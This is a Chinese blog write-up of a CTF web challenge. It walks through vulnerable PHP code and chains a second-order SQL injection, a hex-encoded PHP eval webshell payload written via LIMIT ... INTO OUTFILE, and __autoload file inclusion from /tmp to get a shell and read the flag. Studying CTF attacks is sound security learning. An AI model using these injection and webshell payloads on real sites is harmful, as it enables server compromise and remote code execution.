A-A+

三个白帽挑战赛第二期的writeup(详细记录一系列的坑)

2016年03月29日 16:53 汪洋大海 暂无评论 阅读 591 views 次

源码分析,找出二次注入点
register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$username = htmlspecialchars(filter($username)); 
$password = md5($password); 
$name = htmlspecialchars(filter($name)); 
$limit = filter($limit); 
$sql = "select uid from users where username = '$username'"; 
$result = mysql_query($sql); 
if($row = mysql_fetch_array($result)) 
{ 
  header("location:register.php");exit; 
} 
$sql = "insert into users(`username`,`password`,`name`,`limit`) values('$username','$password','$name','$limit');"; 
$result = mysql_query($sql); 
if($result) 
{ 
  header("location:login.php");exit; 
}

对于参数的过滤在include.php

1
2
3
4
5
6
7
8
9
10
11
12
13
function filter($input) 
{ 
  return $input; 
} 
foreach(array('_GET','_POST','_COOKIE') as $key){ 
    foreach($$key as $k => $v){ 
        if(is_array($v)){ 
            errorBox("hello,sangebaimao!"); 
        }else{ 
            $k[0] !='_'?$$k = addslashes($v):$$k = ""; 
        } 
    } 
}

所以所有参数的单引号,双引号,反斜杠被转义为:\' \" \\,但是带入sql语句执行后的结果就是各参数的值都被原样保留了下来。
name和username中的&,",',<,>被转换成HTML实体代码&成为&"成为"'成为';<成为 <>成为>

注册完了之后登陆,登陆时的代码是
登陆验证
$username = filter($username);
$password = md5($password);
$sql = "select uid,name,`limit` from users where username='$username' and password='$password';";
---------------------------------------------------------------------------------
session设置
$_SESSION['uid'] = $row['uid'];
$_SESSION['users'] = $row['name'];
$_SESSION['limit'] = $row['limit'];

登陆之后是发送message,

1
2
3
4
5
6
7
8
9
10
11
12
$name = $_SESSION['users']; 
$uid = $_SESSION['uid']; 
$num = $_SESSION['limit']; 
$message = htmlspecialchars(filter($message)); 
$sql = "insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."');"; 
$result = mysql_query($sql); 
if($result) 
  { 
    header("location:main.php"); 
  } 
$sql = "select id,name,message from guestbook where uid=".$uid." order by id desc limit 0,".$num.";"; 
$result = mysql_query($sql);

根据tips是二次注入还要getshell。看着就带劲。

 

一、先看看文件吧

其中include.php做了伪全局,而且GET、POST、COOKIE 用了addslashes转义,所以基本不能通过一次注入来获得shell,,因为在利用select语句写shell的时候,路径是必须被单引号包裹起来的。

GET、POST、COOKIE 用了addslashes转义

GET、POST、COOKIE 用了addslashes转义

看看main.php有个25行 

limit后面的$num是来自 $_SESSION['limit']

limit后面的$num是来自 $_SESSION['limit']

其中的limit后面的$num是来自 $_SESSION['limit'],追溯$_SESSION['limit']最终来自的是用户注册,因为limit之后是可以执行into outfile的。这也算是一个知识点吧。所以我们能够通过注册的limit来控制写入的路径,那怎么控制写入的内容呢。很明显。我们只有从name 和 message字段下手。追溯这两个字段的来源。

name 和 message字段下手。追溯这两个字段的来源

name 和 message字段下手。追溯这两个字段的来源

name字段是由注册的时候nickname参数的先存入数据库,然后再查询出来的。追溯到注册的代码才发现$namehtmlspecialchars()实体化了,所以name是不能直接引入<符号的。$message也被实体化了。但是要写入php代码是必须带着<符号的,此处我懵逼了。

后来玉林嘎大牛提醒,用0x, 他一说0x,我马上反应过来再找个二次注入,让message字段入库的时候以16进制写进数据库,只要是没有单引号包裹的16进制最后入库都会还原成原本的字符串。

解开这个结的就是main.php中的18行的sql语句。

main.php中的18行的sql语句

main.php中的18行的sql语句

在这个inster语句中,$name是注册的时候可控的。所以我们如果注册的时候,我把name注册成这样 aa,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)# 

其中16进制是一句话的hex编码。这样的话 我们执行 insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."')的时候真正的数据库代码是如下图的

16进制是一句话的hex编码

16进制是一句话的hex编码

#之后的被注释,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e就是字段message的值,而且是没有单引号包裹的。所以当我们执行了insert操作之后。message字段的值就是<?php eval($_POST[a]);?>了,那么当执行select操作语句的时候,message是从数据库查询出来的所以不会被实体化,因此就可以getshell啦。听着是不是觉得好绕啊。

具体过程由于官方的原因,就不贴出来啦。懂得人自会做。

看看执行的sql语句,就懂啦

执行的sql语句

执行的sql语句

来看看写入的文件,完美写入网站根目录

写入网站根目录

写入网站根目录

三、

到这里这里你觉得就oK了吗,然而并不是,最好玩的才刚开始。我在三个白帽的服务器上测试的时候怎么也写不进,然后去问了出题人是不是web目录不可写然后得到了答案不可写

而且还提示要利用代码里面的_autoload函数的特性。后来去搜了搜特性,发现这是一个注册类的函数,在没有给定处理用函数数的情况下当你去实例化类的时候,就会直接包含目录下的与类名相同的.php文件或者是.inc文件。其实说简单点,就是这个函数可以包含文件。

然后我就去看了看题目的源代码,看在哪里调用了_autoload这个函数,这个函数是写在include.php中的,然后被ini.php包含,int.php再然后被main.phph包含 在main.php中有一个类的实例化的操作

类的实例化的操作

类的实例化的操作

类的实例化的操作2

类的实例化的操作2

可以看到类名是$action,而$action是我们控的。看到这里,我的思路就明了啦。我们往一个可写目录写一个php文件,然后我们再把这个文件的完整目录和文件名传给$action,那么当php去实例化这个$action这个类的时候。就会自动包含我们穿上去的文件,那么我们就通过文件包含getshell啦。因为是linux的服务器,所以/tmp 目录应该是可写的。

看下面截图你就知道怎么利用啦,具体过程不便放出。

 

写入/tmp目录

写入/tmp目录

此处有一个坑,就是必须在登录情况下才能访问到shell。如果你用菜刀的话,还要想办法带着session。所以我就直接写成了<?php system($_POST[a]);?>,用火狐去发包

发包

发包

然后成功翻到flag

上面的文章来源:http://zone.wooyun.org/content/26155 一小部分
基本全文:http://www.answ.cc/?post=19

--------------------------------------------------------------
最后我给大家总结一下全文的知识点:
【一】、limit之后是可以执行into outfile 示例文中语句:select * from table where uid=5 order by id desc limit 0,10 into outfile 'd:/www/answer.php'
【二】、16进制0x写进数据库,只要是没有单引号包裹的16进制最后入库都会还原成原本的字符串。 我们看注册的语句:$sql = "insert into users(`username`,`password`,`name`,`limit`) values('$username','$password','$name','$limit');"; 文中所说注册时候name注册成这样 【aa’,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)#】...算了大家结合文章自己分析
【三】、htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。预定义的字符是:--&--"--<-->-- 单引号并不转换
【四】、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。预定义字符是:单引号'--双引号"--反斜杠\ (它们前面都会加上\)
【五】、网站目录不可写,利用代码里面的_autoload函数的特性(参考URL:http://karmainsecurity.com/hacking-magento-ecommerce-for-fun-and-17000-usd),

标签:

给我留言